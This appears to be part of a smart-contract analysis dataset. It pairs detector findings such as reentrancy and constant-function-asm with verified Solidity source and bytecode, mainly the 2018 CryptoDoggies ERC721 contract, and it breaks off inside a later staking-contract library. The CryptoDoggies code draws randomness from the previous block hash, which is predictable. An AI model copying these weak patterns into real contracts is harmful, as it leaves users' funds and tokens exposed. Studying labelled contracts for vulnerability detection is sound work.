{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,551
0x383bf1fd04d0901bbd674a580e0a621fcbb4799b
pragma solidity ^0.4.18; // inspired by // https://github.com/axiomzen/cryptokitties-bounty/blob/master/contracts/KittyAccessControl.sol contract AccessControl { /// @dev The addresses of the accounts (or contracts) that can execute actions within each roles address public ceoAddress; address public cooAddress; /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev The AccessControl constructor sets the original C roles of the contract to the sender account function AccessControl() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for any CLevel functionality modifier onlyCLevel() { require(msg.sender == ceoAddress || msg.sender == cooAddress); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Pause the smart contract. Only can be called by the CEO function pause() public onlyCEO whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Only can be called by the CEO function unpause() public onlyCEO whenPaused { paused = false; } } /** * Interface for required functionality in the ERC721 standard * for non-fungible tokens. * * Author: Nadav Hollander (nadav at dharma.io) * https://github.com/dharmaprotocol/NonFungibleToken/blob/master/contracts/ERC721.sol */ contract ERC721 { // Events event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); /// For querying totalSupply of token. function totalSupply() public view returns (uint256 _totalSupply); /// For querying balance of a particular account. /// @param _owner The address for balance query. /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 _balance); /// For querying owner of token. /// @param _tokenId The tokenID for owner inquiry. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address _owner); /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom() /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _tokenId) public; // NOT IMPLEMENTED // function getApproved(uint256 _tokenId) public view returns (address _approved); /// Third-party initiates transfer of token from address _from to address _to. /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom(address _from, address _to, uint256 _tokenId) public; /// Owner initates the transfer of the token to another account. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the token to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _tokenId) public; /// function implementsERC721() public view returns (bool _implementsERC721); // EXTRA /// @notice Allow pre-approved user to take ownership of a token. /// @param _tokenId The ID of the token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public; } contract DetailedERC721 is ERC721 { function name() public view returns (string _name); function symbol() public view returns (string _symbol); } contract CryptoDoggies is AccessControl, DetailedERC721 { using SafeMath for uint256; event TokenCreated(uint256 tokenId, string name, bytes5 dna, uint256 price, address owner); event TokenSold( uint256 indexed tokenId, string name, bytes5 dna, uint256 sellingPrice, uint256 newPrice, address indexed oldOwner, address indexed newOwner ); mapping (uint256 => address) private tokenIdToOwner; mapping (uint256 => uint256) private tokenIdToPrice; mapping (address => uint256) private ownershipTokenCount; mapping (uint256 => address) private tokenIdToApproved; struct Doggy { string name; bytes5 dna; } Doggy[] private doggies; uint256 private startingPrice = 0.01 ether; bool private erc721Enabled = false; modifier onlyERC721() { require(erc721Enabled); _; } function createToken(string _name, address _owner, uint256 _price) public onlyCLevel { require(_owner != address(0)); require(_price >= startingPrice); bytes5 _dna = _generateRandomDna(); _createToken(_name, _dna, _owner, _price); } function createToken(string _name) public onlyCLevel { bytes5 _dna = _generateRandomDna(); _createToken(_name, _dna, address(this), startingPrice); } function _generateRandomDna() private view returns (bytes5) { uint256 lastBlockNumber = block.number - 1; bytes32 hashVal = bytes32(block.blockhash(lastBlockNumber)); bytes5 dna = bytes5((hashVal & 0xffffffff) << 216); return dna; } function _createToken(string _name, bytes5 _dna, address _owner, uint256 _price) private { Doggy memory _doggy = Doggy({ name: _name, dna: _dna }); uint256 newTokenId = doggies.push(_doggy) - 1; tokenIdToPrice[newTokenId] = _price; TokenCreated(newTokenId, _name, _dna, _price, _owner); _transfer(address(0), _owner, newTokenId); } function getToken(uint256 _tokenId) public view returns ( string _tokenName, bytes5 _dna, uint256 _price, uint256 _nextPrice, address _owner ) { _tokenName = doggies[_tokenId].name; _dna = doggies[_tokenId].dna; _price = tokenIdToPrice[_tokenId]; _nextPrice = nextPriceOf(_tokenId); _owner = tokenIdToOwner[_tokenId]; } function getAllTokens() public view returns ( uint256[], uint256[], address[] ) { uint256 total = totalSupply(); uint256[] memory prices = new uint256[](total); uint256[] memory nextPrices = new uint256[](total); address[] memory owners = new address[](total); for (uint256 i = 0; i < total; i++) { prices[i] = tokenIdToPrice[i]; nextPrices[i] = nextPriceOf(i); owners[i] = tokenIdToOwner[i]; } return (prices, nextPrices, owners); } function tokensOf(address _owner) public view returns(uint256[]) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 total = totalSupply(); uint256 resultIndex = 0; for (uint256 i = 0; i < total; i++) { if (tokenIdToOwner[i] == _owner) { result[resultIndex] = i; resultIndex++; } } return result; } } function withdrawBalance(address _to, uint256 _amount) public onlyCEO { require(_amount <= this.balance); if (_amount == 0) { _amount = this.balance; } if (_to == address(0)) { ceoAddress.transfer(_amount); } else { _to.transfer(_amount); } } function purchase(uint256 _tokenId) public payable whenNotPaused { address oldOwner = ownerOf(_tokenId); address newOwner = msg.sender; uint256 sellingPrice = priceOf(_tokenId); require(oldOwner != address(0)); require(newOwner != address(0)); require(oldOwner != newOwner); require(!_isContract(newOwner)); require(sellingPrice > 0); require(msg.value >= sellingPrice); _transfer(oldOwner, newOwner, _tokenId); tokenIdToPrice[_tokenId] = nextPriceOf(_tokenId); TokenSold( _tokenId, doggies[_tokenId].name, doggies[_tokenId].dna, sellingPrice, priceOf(_tokenId), oldOwner, newOwner ); uint256 excess = msg.value.sub(sellingPrice); uint256 contractCut = sellingPrice.mul(6).div(100); // 6% cut if (oldOwner != address(this)) { oldOwner.transfer(sellingPrice.sub(contractCut)); } if (excess > 0) { newOwner.transfer(excess); } } function priceOf(uint256 _tokenId) public view returns (uint256 _price) { return tokenIdToPrice[_tokenId]; } uint256 private increaseLimit1 = 0.02 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; function nextPriceOf(uint256 _tokenId) public view returns (uint256 _nextPrice) { uint256 _price = priceOf(_tokenId); if (_price < increaseLimit1) { return _price.mul(200).div(95); } else if (_price < increaseLimit2) { return _price.mul(135).div(96); } else if (_price < increaseLimit3) { return _price.mul(125).div(97); } else if (_price < increaseLimit4) { return _price.mul(117).div(97); } else { return _price.mul(115).div(98); } } function enableERC721() public onlyCEO { erc721Enabled = true; } function totalSupply() public view returns (uint256 _totalSupply) { _totalSupply = doggies.length; } function balanceOf(address _owner) public view returns (uint256 _balance) { _balance = ownershipTokenCount[_owner]; } function ownerOf(uint256 _tokenId) public view returns (address _owner) { _owner = tokenIdToOwner[_tokenId]; } function approve(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_owns(msg.sender, _tokenId)); tokenIdToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } function transferFrom(address _from, address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_to != address(0)); require(_owns(_from, _tokenId)); require(_approved(msg.sender, _tokenId)); _transfer(_from, _to, _tokenId); } function transfer(address _to, uint256 _tokenId) public whenNotPaused onlyERC721 { require(_to != address(0)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } function implementsERC721() public view whenNotPaused returns (bool) { return erc721Enabled; } function takeOwnership(uint256 _tokenId) public whenNotPaused onlyERC721 { require(_approved(msg.sender, _tokenId)); _transfer(tokenIdToOwner[_tokenId], msg.sender, _tokenId); } function name() public view returns (string _name) { _name = "CryptoDoggies"; } function symbol() public view returns (string _symbol) { _symbol = "CDT"; } function _owns(address _claimant, uint256 _tokenId) private view returns (bool) { return tokenIdToOwner[_tokenId] == _claimant; } function _approved(address _to, uint256 _tokenId) private view returns (bool) { return tokenIdToApproved[_tokenId] == _to; } function _transfer(address _from, address _to, uint256 _tokenId) private { ownershipTokenCount[_to]++; tokenIdToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete tokenIdToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } function _isContract(address addr) private view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f25780630a0f8168146102345780630cf20cc9146102895780631051db34146102cb57806318160ddd146102f857806323b872dd1461032157806327d7874c146103825780632a5c792a146103bb5780632ba73c15146104b55780633f4ba83a146104ee57806345576f94146105035780635a3f2672146105605780635ba9e48e146105ee5780635c975abb146106255780636352211e1461065257806370a08231146106b557806371dc761e1461070257806373b4df05146107175780638456cb591461079c57806395d89b41146107b1578063a9059cbb1461083f578063b047fb5014610881578063b2e6ceeb146108d6578063b9186d7d146108f9578063e4b50cb814610930578063efef39a114610a50575b600080fd5b341561016f57600080fd5b610177610a68565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b757808201518184015260208101905061019c565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fd57600080fd5b610232600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aab565b005b341561023f57600080fd5b610247610bb2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561029457600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd7565b005b34156102d657600080fd5b6102de610d5c565b604051808215151515815260200191505060405180910390f35b341561030357600080fd5b61030b610d8f565b6040518082815260200191505060405180910390f35b341561032c57600080fd5b610380600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d9c565b005b341561038d57600080fd5b6103b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e49565b005b34156103c657600080fd5b6103ce610f23565b60405180806020018060200180602001848103845287818151815260200191508051906020019060200280838360005b838110156104195780820151818401526020810190506103fe565b50505050905001848103835286818151815260200191508051906020019060200280838360005b8381101561045b578082015181840152602081019050610440565b50505050905001848103825285818151815260200191508051906020019060200280838360005b8381101561049d578082015181840152602081019050610482565b50505050905001965050505050505060405180910390f35b34156104c057600080fd5b6104ec600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c4565b005b34156104f957600080fd5b61050161119f565b005b341561050e57600080fd5b61055e600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611232565b005b341561056b57600080fd5b610597600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611303565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105da5780820151818401526020810190506105bf565b505050509050019250505060405180910390f35b34156105f957600080fd5b61060f6004808035906020019091905050611439565b6040518082815260200191505060405180910390f35b341561063057600080fd5b610638611557565b604051808215151515815260200191505060405180910390f35b341561065d57600080fd5b610673600480803590602001909190505061156a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106c057600080fd5b6106ec600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115a7565b6040518082815260200191505060405180910390f35b341561070d57600080fd5b6107156115f0565b005b341561072257600080fd5b61079a600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611668565b005b34156107a757600080fd5b6107af611786565b005b34156107bc57600080fd5b6107c4611819565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108045780820151818401526020810190506107e9565b50505050905090810190601f1680156108315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561084a57600080fd5b61087f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061185c565b005b341561088c57600080fd5b6108946118f3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108e157600080fd5b6108f76004808035906020019091905050611919565b005b341561090457600080fd5b61091a60048080359060200190919050506119a6565b6040518082815260200191505060405180910390f35b341561093b57600080fd5b61095160048080359060200190919050506119c3565b6040518080602001867affffffffffffffffffffffffffffffffffffffffffffffffffffff19167affffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825287818151815260200191508051906020019080838360005b83811015610a115780820151818401526020810190506109f6565b50505050905090810190601f168015610a3e5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390f35b610a666004808035906020019091905050611b37565b005b610a706124b8565b6040805190810160405280600d81526020017f43727970746f446f676769657300000000000000000000000000000000000000815250905090565b600160149054906101000a900460ff16151515610ac757600080fd5b600860009054906101000a900460ff161515610ae257600080fd5b610aec3382611f48565b1515610af757600080fd5b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16318111151515610c5857600080fd5b6000811415610c7c573073ffffffffffffffffffffffffffffffffffffffff163190505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d17576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610d1257600080fd5b610d58565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610d5757600080fd5b5b5050565b6000600160149054906101000a900460ff16151515610d7a57600080fd5b600860009054906101000a900460ff16905090565b6000600680549050905090565b600160149054906101000a900460ff16151515610db857600080fd5b600860009054906101000a900460ff161515610dd357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610e0f57600080fd5b610e198382611f48565b1515610e2457600080fd5b610e2e3382611fb4565b1515610e3957600080fd5b610e44838383612020565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ee057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f2b6124cc565b610f336124cc565b610f3b6124e0565b6000610f456124cc565b610f4d6124cc565b610f556124e0565b6000610f5f610d8f565b945084604051805910610f6f5750595b9080825280602002602001820160405250935084604051805910610f905750595b9080825280602002602001820160405250925084604051805910610fb15750595b90808252806020026020018201604052509150600090505b848110156110b15760036000828152602001908152602001600020548482815181101515610ff357fe5b906020019060200201818152505061100a81611439565b838281518110151561101857fe5b90602001906020020181815250506002600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110151561106857fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050610fc9565b8383839750975097505050505050909192565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561111f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561115b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111fa57600080fd5b600160149054906101000a900460ff16151561121557600080fd5b6000600160146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112dc5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156112e757600080fd5b6112ef6121e8565b90506112ff828230600754612218565b5050565b61130b6124cc565b60006113156124cc565b6000806000611323876115a7565b9450600085141561135557600060405180591061133d5750595b9080825280602002602001820160405250955061142f565b846040518059106113635750595b9080825280602002602001820160405250935061137e610d8f565b925060009150600090505b8281101561142b578673ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561141e5780848381518110151561140757fe5b906020019060200201818152505081806001019250505b8080600101915050611389565b8395505b5050505050919050565b600080611445836119a6565b905060095481101561147f57611478605f61146a60c88461243690919063ffffffff16565b61247190919063ffffffff16565b9150611551565b600a548110156114b7576114b060606114a260878461243690919063ffffffff16565b61247190919063ffffffff16565b9150611551565b600b548110156114ef576114e860616114da607d8461243690919063ffffffff16565b61247190919063ffffffff16565b9150611551565b600c5481101561152757611520606161151260758461243690919063ffffffff16565b61247190919063ffffffff16565b9150611551565b61154e606261154060738461243690919063ffffffff16565b61247190919063ffffffff16565b91505b50919050565b600160149054906101000a900460ff1681565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164b57600080fd5b6001600860006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806117125750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561171d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561175957600080fd5b600754821015151561176a57600080fd5b6117726121e8565b905061178084828585612218565b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117e157600080fd5b600160149054906101000a900460ff161515156117fd57600080fd5b60018060146101000a81548160ff021916908315150217905550565b6118216124b8565b6040805190810160405280600381526020017f4344540000000000000000000000000000000000000000000000000000000000815250905090565b600160149054906101000a900460ff1615151561187857600080fd5b600860009054906101000a900460ff16151561189357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156118cf57600080fd5b6118d93382611f48565b15156118e457600080fd5b6118ef338383612020565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff1615151561193557600080fd5b600860009054906101000a900460ff16151561195057600080fd5b61195a3382611fb4565b151561196557600080fd5b6119a36002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163383612020565b50565b600060036000838152602001908152602001600020549050919050565b6119cb6124b8565b6000806000806006868154811015156119e057fe5b90600052602060002090600202016000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a855780601f10611a5a57610100808354040283529160200191611a85565b820191906000526020600020905b815481529060010190602001808311611a6857829003601f168201915b50505050509450600686815481101515611a9b57fe5b906000526020600020906002020160010160009054906101000a90047b0100000000000000000000000000000000000000000000000000000002935060036000878152602001908152602001600020549250611af686611439565b91506002600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905091939590929450565b6000806000806000600160149054906101000a900460ff16151515611b5b57600080fd5b611b648661156a565b9450339350611b72866119a6565b9250600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611bb057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515611bec57600080fd5b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515611c2757600080fd5b611c308461248c565b151515611c3c57600080fd5b600083111515611c4b57600080fd5b823410151515611c5a57600080fd5b611c65858588612020565b611c6e86611439565b60036000888152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16877f47c2495ae9a226645e2cfa7b81ab70c2d82f35b0c69a72358812cca2f0f0bcbc60068a815481101515611ce457fe5b906000526020600020906002020160000160068b815481101515611d0457fe5b906000526020600020906002020160010160009054906101000a90047b010000000000000000000000000000000000000000000000000000000288611d488d6119a6565b6040518080602001857affffffffffffffffffffffffffffffffffffffffffffffffffffff19167affffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001848152602001838152602001828103825286818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611e1f5780601f10611df457610100808354040283529160200191611e1f565b820191906000526020600020905b815481529060010190602001808311611e0257829003601f168201915b50509550505050505060405180910390a4611e43833461249f90919063ffffffff16565b9150611e6c6064611e5e60068661243690919063ffffffff16565b61247190919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515611ef6578473ffffffffffffffffffffffffffffffffffffffff166108fc611ed0838661249f90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501515611ef557600080fd5b5b6000821115611f40578373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611f3f57600080fd5b5b505050505050565b60008273ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff166005600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561217e57600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001900391905055506005600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000806000806001430392508240915060d863ffffffff6001028316600019169060020a02905080935050505090565b6122206124f4565b60006040805190810160405280878152602001867affffffffffffffffffffffffffffffffffffffffffffffffffffff1916815250915060016006805480600101828161226d9190612532565b91600052602060002090600202016000859091909150600082015181600001908051906020019061229f929190612564565b5060208201518160010160006101000a81548164ffffffffff02191690837b010000000000000000000000000000000000000000000000000000009004021790555050500390508260036000838152602001908152602001600020819055507fe2541836f6f02475fc0b01a06c1e80d7e5098215c6015348851ceabef9d05e6881878786886040518086815260200180602001857affffffffffffffffffffffffffffffffffffffffffffffffffffff19167affffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825286818151815260200191508051906020019080838360005b838110156123e45780820151818401526020810190506123c9565b50505050905090810190601f1680156124115780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a161242e60008583612020565b505050505050565b600080600084141561244b576000915061246a565b828402905082848281151561245c57fe5b0414151561246657fe5b8091505b5092915050565b600080828481151561247f57fe5b0490508091505092915050565b600080823b905060008111915050919050565b60008282111515156124ad57fe5b818303905092915050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b60408051908101604052806125076125e4565b815260200160007affffffffffffffffffffffffffffffffffffffffffffffffffffff191681525090565b81548183558181151161255f5760020281600202836000526020600020918201910161255e91906125f8565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106125a557805160ff19168380011785556125d3565b828001600101855582156125d3579182015b828111156125d25782518255916020019190600101906125b7565b5b5090506125e0919061263f565b5090565b602060405190810160405280600081525090565b61263c91905b8082111561263857600080820160006126179190612664565b6001820160006101000a81549064ffffffffff0219169055506002016125fe565b5090565b90565b61266191905b8082111561265d576000816000905550600101612645565b5090565b90565b50805460018160011615610100020316600290046000825580601f1061268a57506126a9565b601f0160209004906000526020600020908101906126a8919061263f565b5b505600a165627a7a723058208fcb9a49abed5526f084a9b02dcb2f796a7df6b969acab1dfe99e6e74510342e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
2,552
0x488e43a7ad0b7244767a223c68a60e0a684b33a4
/** *Submitted for verification at Etherscan.io on 2020-12-16 */ pragma solidity 0.6.11; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * 